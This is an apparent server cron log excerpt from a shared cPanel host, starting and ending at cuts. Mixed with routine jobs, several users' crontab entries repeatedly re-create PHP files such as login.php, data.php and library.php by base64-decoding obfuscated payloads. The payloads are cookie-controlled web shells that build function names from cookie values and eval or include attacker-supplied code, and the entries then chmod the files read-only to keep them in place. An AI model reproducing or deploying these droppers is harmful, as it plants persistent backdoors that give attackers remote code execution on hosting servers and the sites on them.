cmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:21:02 medusa CROND[6318]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:21:02 medusa CROND[6322]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:21:02 medusa CROND[6320]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:21:02 medusa CROND[6325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:21:02 medusa CROND[6334]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:21:02 medusa CROND[6342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:21:02 medusa CROND[6343]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:21:02 medusa CROND[6344]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:21:02 medusa CROND[6340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:21:02 medusa CROND[6349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:22:01 medusa CROND[28160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:22:02 medusa CROND[28237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:22:02 medusa CROND[28238]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:22:02 medusa CROND[28241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:22:02 medusa CROND[28242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:22:02 medusa CROND[28243]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:22:02 medusa CROND[28244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:22:02 medusa CROND[28245]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:22:02 medusa CROND[28246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:22:02 medusa CROND[28247]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:22:02 medusa CROND[28252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:22:02 medusa CROND[28262]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:22:02 medusa CROND[28264]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:22:02 medusa CROND[28250]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:23:02 medusa CROND[18568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:23:02 medusa CROND[18569]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:23:02 medusa CROND[18570]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:23:02 medusa CROND[18571]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR